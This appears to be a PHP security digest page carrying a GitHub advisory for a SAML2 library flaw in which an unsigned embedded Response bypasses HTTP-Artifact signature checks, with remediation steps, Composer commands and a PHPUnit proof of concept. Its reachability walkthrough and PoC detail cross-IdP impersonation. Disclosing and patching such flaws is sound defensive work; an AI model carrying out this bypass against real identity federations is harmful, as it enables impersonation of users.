PatchClock

PHP security digest · 17 Nov 2026

SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)

High CVE-2026-110782

Package
simplesamlphp/saml2
Fixed in
6.2.4, 7.0.0-rc2
Published
Tue 17 Nov 2026, 21:00 LisbonUpdated Wed 18 Nov 2026, 00:45 Lisbon
Installs on Packagist
19M

In plain words

An attacker controlling one trusted identity provider could impersonate users of another identity provider in the same federation. This requires HTTP-Artifact login and an application that relies on the binding to authenticate the embedded SAML response, which can be returned without signature verification or an issuer identity check. Downstream signature checks may block the attack, so the end-to-end authentication bypass depends on the integration.

Affected versions

PackageAffectedFixed in
simplesamlphp/saml2>= 6.2.2, <= 6.2.36.2.4
simplesamlphp/saml2>= 7.0.0-rc1, < 7.0.0-rc27.0.0-rc2

How serious is it?

High is a CVSS score of 7.0 to 8.9: serious impact with few preconditions. Plan the update within days, ahead of feature work, and check the logs for signs it was tried.

simplesamlphp/saml2 has 19M installs on Packagist, so the advisory reaches a large number of projects: expect scanners to look for it soon.

Am I affected?

In composer.lock, find simplesamlphp/saml2: affected versions are >= 6.2.2, <= 6.2.3 and >= 7.0.0-rc1, < 7.0.0-rc2. Check whether your service provider uses HTTP-Artifact in a multi-IdP federation with trusted providers in saml20-idp-remote metadata. Review whether code consuming HTTPArtifact::receive() relies on it to authenticate the embedded response or independently requires a signed response or every assertion to be signed. Fixed versions are 6.2.4 and 7.0.0-rc2.

Did you install simplesamlphp/saml2, or did a dependency?

Composer says why a package is in your project:

composer why simplesamlphp/saml2

If the output names your own project, you required simplesamlphp/saml2 directly and the update is yours to make. If it names another package, simplesamlphp/saml2 came in through it, and that package's version constraint decides which release you can install. To see what stands between you and the fix, ask Composer directly:

composer why-not simplesamlphp/saml2 6.2.4

Every line it prints is a constraint that blocks 6.2.4. Update the package it names, or raise your own constraint, and run it again until it prints nothing. If you stay on an older branch, ask about its fix instead: 7.0.0-rc2.

What to do

Check which version you have, then update to a fixed release for your branch (6.2.4, 7.0.0-rc2):

composer show simplesamlphp/saml2 | grep versions
composer update simplesamlphp/saml2

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

If you cannot update yet

The advisory's code-level mitigation is to make embedded-response authentication mandatory in src/Binding/HTTPArtifact.php: reject unsigned responses, require successful signature verification, and require the embedded response's issuer to match the artifact issuer's metadata entityid.

Check the whole project at once

Composer 2.4 and later can list every installed package with a known advisory, this one included once Packagist has it:

composer audit --locked

--locked reads composer.lock instead of the vendor folder, so you can run it on a release tag or in CI without installing anything. It exits with a non-zero code when it finds an advisory, which is enough to fail a build. Run it on every branch you still support, not only the newest: an older release your customers run is affected in the same way.

Under the Cyber Resilience Act

CRA Article 14 timeline: aware of exploitation at hour 0, early warning within 24 hours, notification within 72 hours, final report within 14 days after the fix.

No exploitation of this vulnerability is known, so on its own it does not start the Article 14 reporting clock, which covers actively exploited vulnerabilities. That changes if you learn it is being exploited through your product: then the 24-hour early warning applies.

Either way, if simplesamlphp/saml2 ships inside a product you sell, the CRA treats its vulnerabilities as yours. Article 13(5) asks for due diligence on the components you include, and from 11 December 2027 Annex I asks you to ship security fixes without delay and free of charge for the support period you declared. A short note in your changelog saying which release updated simplesamlphp/saml2, and why, is the evidence you will want later.

What goes in each Article 14 report · Does the CRA apply to your product?

simplesamlphp/saml2's record

This is the only advisory for simplesamlphp/saml2 since the digest started following Composer packages in September 2026. One advisory says little about a package's quality; what matters is how fast the fix came, and here it is out.

The advisory's description

Summary

CVE-2026-49283 / GHSA-6929-8p9f-26jx ("HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass") was fixed so that HTTPArtifact::receive() verifies the embedded SAML Response using the IdP metadata signing keys. The current implementation (master 31c72c1d, released v6.2.3) reaches that verification only when the embedded Response is signed:

// src/Binding/HTTPArtifact.php  (receive())
if (!$samlResponse->isSigned()) {
    return $samlResponse;                         // ← unsigned embedded Response returned UNVERIFIED
}
return $this->verifyMessageSignature($samlResponse, $idpMetadata);   // only runs when signed

An attacker who controls one trusted-federation IdP therefore returns a validly-signed outer ArtifactResponse (signed with their own real key, which passes the mandatory outer check) that wraps an unsigned <samlp:Response> whose <Issuer> names a different IdP. isSigned() is false, so verifyMessageSignature() never runs and the forged Response is returned as successfully received. Additionally, even on the signed path verifyMessageSignature() verifies against the artifact issuer's metadata keys but never asserts that the embedded Response's <Issuer> equals the artifact issuer — the same cross-IdP confusion the CVE was assigned for is not closed by identity binding.

This is an incomplete implementation of the fix's own stated goal ("verify signatures using IdP metadata signing keys", commit dac0b4b6 / #419), and a regression introduced by the #414 refactor (v6.2.2) — the official CVE fix in v6.2.1 did not contain this short-circuit.

Affected component

  • src/Binding/HTTPArtifact.php
    • receive() line 206-207: if (!$samlResponse->isSigned()) { return $samlResponse; } — the bypassed guard.
    • receive() line 210: verifyMessageSignature($samlResponse, $idpMetadata) — only reached when signed.
    • verifyMessageSignature() lines 230-286: verifies against $idpMetadata (artifact-issuer keys); no getIssuer() comparison to bind the embedded Response to the artifact issuer.
    • verifyArtifactResponseSignature() line 300-302: if ($artifactResponse->isSigned() !== true) throw — the OUTER response is mandatorily signed; the asymmetry with the embedded return-on-unsigned is the defect.
  • Regression commit 3b589636 (#414, v6.2.2, "refactor/soap-ssl-validator-openssl"); key-source fix dac0b4b6 (#419) left the short-circuit unchanged.
  • Affected: v6.2.2, v6.2.3 (latest), and master. v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit.

Reachability (hop-by-hop, guards named)

Threat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid saml20-idp-remote metadata, real signing key, an ArtifactResolutionService). Goal: impersonate admin@IdP-A.

  1. Attacker hits the SP artifact endpoint with SAMLart encoding sourceId = sha1(IdP-B entityID) — line 137-138, no guard.
  2. getMetaDataConfigForSha1 → $idpMetadata = IdP-B — line 144. Guard: metadata exists → satisfied (IdP-B trusted).
  3. SP resolves against IdP-B's ARS (attacker's endpoint) — line 176-182.
  4. IdP-B returns a validly-signed ArtifactResponse; verifyArtifactResponseSignature(...,IdP-B) passes (signed by the artifact issuer) — line 193/300. Guard satisfied by the attacker (they ARE the artifact issuer).
  5. The signed outer wraps an unsigned <samlp:Response Issuer=IdP-A> with an assertion for admin@IdP-A — line 195, no guard on embedded content.
  6. if (!$samlResponse->isSigned()) return $samlResponse; → TRUE → returns the forged Response unverified — line 206-207. verifyMessageSignature (210) never runs; there is no issuer==artifact-issuer check anywhere in receive().

Every guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause.

Root cause

The #414 refactor moved embedded-Response verification into receive() but gated it on isSigned() (mirroring if (!isSigned()) return instead of the outer's if (isSigned() !== true) throw), and the dac0b4b6 key-source fix did not revisit that gate. The artifact binding's designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on receive() to have authenticated it — exactly the reliance this gap defeats.

Proof of concept (executed, benign)

The PoC exercises the real shipped private methods verifyArtifactResponseSignature() and verifyMessageSignature() via reflection — exactly as the maintainers' own tests/SAML2/Binding/HTTPArtifactTest.php does — and reproduces receive()'s verbatim post-resolution decision (lines 195/206-210) against real HTTPArtifact internals. It models a validly-signed outer ArtifactResponse from the artifact issuer IdP-B (attacker-controlled, its signing cert in metadata) wrapping an unsigned embedded <samlp:Response> claiming Issuer=IdP-A. No destructive payload; the marker is the SKIPPED verification.

Run: vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php

// tests/SAML2/Binding/PocArtifact001Test.php  (namespace SimpleSAML\Test\SAML2\Binding)
// IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert:
$idpB = Configuration::loadFromArray(['entityid' => 'https://idp-b.example/', 'keys' => [[
    'type' => 'X509Certificate', 'signing' => true, 'encryption' => false,
    'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]]], '[idp-b]');
$ha = new HTTPArtifact();

// Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called.
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false);
$embedded->method('getSignature')->willReturn(null);
$embedded->method('verify')->willThrowException(new Exception('POC-FAIL: embedded verify() called'));

// Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded.
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer);
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);

// ---- verbatim HTTPArtifact::receive() post-resolution logic ----
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); // OUTER mandatory — passes vs IdP-B
$samlResponse  = $verifiedOuter->getMessage();
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) { $received = $samlResponse; }          // <-- BYPASS (line 206-207)
else { $verifyMessageSignatureCalled = true; $received = $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); }

self::assertFalse($samlResponse->isSigned());
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature SKIPPED');
self::assertSame($embedded, $received, 'unsigned embedded Response returned unverified');
// Negative control: the real verifier CANNOT accept the unsigned message → the short-circuit is load-bearing.
$threw = false; try { $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } catch (\Throwable $e) { $threw = true; }
self::assertTrue($threw, 'real verifyMessageSignature rejects the unsigned Response');

Observed benign output:

PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime:       PHP 8.4.5
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response
      => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
.                                                                   1 / 1 (100%)
OK (1 test, 5 assertions)

The five assertions prove: the outer ArtifactResponse verifies against the artifact issuer (IdP-B) metadata; the embedded Response is unsigned; verifyMessageSignature() is skipped; the unsigned embedded Response is returned as received; and the real verifier rejects that same unsigned message — so the isSigned() short-circuit is the sole reason it is accepted.

(Environment note: composer install needed a platform.composer-plugin-api=2.9.0 override with --no-plugins to resolve xml-common's installer-plugin constraint under Composer 2.8.6; no code under test was modified.)

Adversarial re-read (what I tried to refute it with)

  • Strongest objection (why CONDITIONAL, not CONFIRMED): the downstream SimpleSAMLphp SP module may route receive()'s output through the response/assertion processor, which requires either the response signed or every assertion signed (src/Response/Processor.php:155-162) — that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding's whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will not impose that requirement; (ii) the CVE was assigned against this library and dac0b4b6's stated contract is that receive() authenticates the embedded Response — a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in normal artifact operation, so the missing verification is live, not dead code.
  • Not a false positive on the code: the short-circuit (206-207), the absent issuer binding, and the outer throw vs embedded return asymmetry (300 vs 206) are verbatim in master and released v6.2.3.

Remediation

In receive(), make embedded-Response authentication mandatory and issuer-bound — mirror the outer pattern: after line 195, reject unless $samlResponse->isSigned() and verifyMessageSignature() succeeds and $samlResponse->getIssuer()?->getContent()->getValue() === $idpMetadata->getString('entityid'). Replace if (!isSigned()) return with if (isSigned() !== true) throw.

Confidence

High at the library-contract level — the incomplete-fix is code-verified and the PoC fires against the real shipped verification methods. CONDITIONAL only for the end-to-end auth bypass (requires the HTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded message — the binding's designed trust model). Reported to the maintainers as a gap in their own dac0b4b6 fix, present in the latest release v6.2.3.

Proof-of-Concept source (PocArtifact001Test.php)

<?php

declare(strict_types=1);

namespace SimpleSAML\Test\SAML2\Binding;

use Exception;
use PHPUnit\Framework\TestCase;
use ReflectionMethod;
use SimpleSAML\Configuration;
use SimpleSAML\SAML2\Binding\HTTPArtifact;
use SimpleSAML\SAML2\XML\samlp\ArtifactResponse;
use SimpleSAML\SAML2\XML\samlp\Response;
use SimpleSAML\XMLSecurity\TestUtils\PEMCertificatesMock;

/**
 * PoC — SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283.
 *
 * HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3):
 *     $artifactResponse = $this->verifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory
 *     $samlResponse = $artifactResponse->getMessage();
 *     ...
 *     if (!$samlResponse->isSigned()) {
 *         return $samlResponse;                                    // <-- EMBEDDED: returned UNVERIFIED
 *     }
 *     return $this->verifyMessageSignature($samlResponse, $idpMetadata);
 *
 * This test reproduces that exact post-resolution decision against real HTTPArtifact
 * private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows
 * that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the
 * artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO
 * signature verification of that embedded Response.
 */
final class PocArtifact001Test extends TestCase
{
    private function idpBMetadata(): Configuration
    {
        // "IdP-B": the federated IdP the attacker controls; its signing cert is in metadata,
        // selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.)
        return Configuration::loadFromArray([
            'entityid' => 'https://idp-b.example/',
            'keys' => [[
                'type' => 'X509Certificate',
                'signing' => true,
                'encryption' => false,
                'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
            ]],
        ], '[idp-b]');
    }

    private function call(HTTPArtifact $ha, string $method, ...$args): mixed
    {
        return (new ReflectionMethod(HTTPArtifact::class, $method))->invoke($ha, ...$args);
    }

    public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void
    {
        $idpB = $this->idpBMetadata();
        $ha = new HTTPArtifact();

        // --- The forged embedded <samlp:Response>: UNSIGNED, claims to be from IdP-A. ---
        $embedded = $this->createStub(Response::class);
        $embedded->method('isSigned')->willReturn(false);              // attacker omits the embedded signature
        $embedded->method('getSignature')->willReturn(null);
        // If receive() ever tried to cryptographically verify this, it would blow up here:
        $embedded->method('verify')->willThrowException(
            new Exception('POC-FAIL: embedded Response->verify() was called — short-circuit absent'),
        );

        // --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). ---
        $outer = $this->createStub(ArtifactResponse::class);
        $outer->method('isSigned')->willReturn(true);
        $outer->method('isSuccess')->willReturn(true);
        $outer->method('verify')->willReturnCallback(fn() => $outer);  // valid signature under IdP-B's key
        $outer->method('getSignature')->willReturn(self::sigEl());
        $outer->method('getMessage')->willReturn($embedded);

        // ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic =====
        // 1. OUTER signature check — mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata.
        $verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB);
        self::assertSame($outer, $verifiedOuter, 'Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata');

        // 2. Unwrap the embedded message.
        $samlResponse = $verifiedOuter->getMessage();

        // 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim):
        $verifyMessageSignatureCalled = false;
        if (!$samlResponse->isSigned()) {
            $received = $samlResponse;                                  // <-- BYPASS: returned unverified
        } else {
            $verifyMessageSignatureCalled = true;
            $received = $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
        }
        // ==================================================================================

        // OBSERVABLE: the unsigned embedded Response was accepted as "received" with no verification.
        self::assertFalse($samlResponse->isSigned(), 'Embedded Response carries no signature');
        self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature() was SKIPPED (short-circuit)');
        self::assertSame($embedded, $received, 'BYPASS CONFIRMED: unsigned embedded Response returned unverified');

        // NEGATIVE CONTROL: the short-circuit is load-bearing — the real verifier CANNOT accept the
        // unsigned message (no <ds:Signature> to check), so removing the short-circuit would reject it.
        $threw = false;
        try {
            $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
        } catch (\Throwable $e) {
            $threw = true;
        }
        self::assertTrue($threw, 'Real verifyMessageSignature() rejects the unsigned Response — only the short-circuit accepts it');

        fwrite(STDERR, "\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response "
            . "=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n");
    }

    private const MINIMAL_SIG =
        '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>'
        . '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
        . '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>'
        . '<ds:Reference URI="#_x"><ds:Transforms>'
        . '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>'
        . '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AA==</ds:DigestValue>'
        . '</ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature>';

    private static function sigEl(): \SimpleSAML\XMLSecurity\XML\ds\Signature
    {
        $doc = new \DOMDocument('1.0', 'UTF-8');
        $doc->loadXML(self::MINIMAL_SIG);
        return \SimpleSAML\XMLSecurity\XML\ds\Signature::fromXML($doc->documentElement);
    }
}

Proof-of-Concept source (poc_output.txt)

PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime:       PHP 8.4.5
Configuration: /home/aoc/CVEs/saml2/phpunit.xml
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
.                                                                   1 / 1 (100%)
Time: 00:00.036, Memory: 22.00 MB
OK (1 test, 5 assertions)

Weakness: CWE-287 Improper Authentication; CWE-347 Improper Verification of Cryptographic Signature. Reported by Pig-Tail.

CWE-287. Improper authentication: the code accepts a user as someone they are not.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.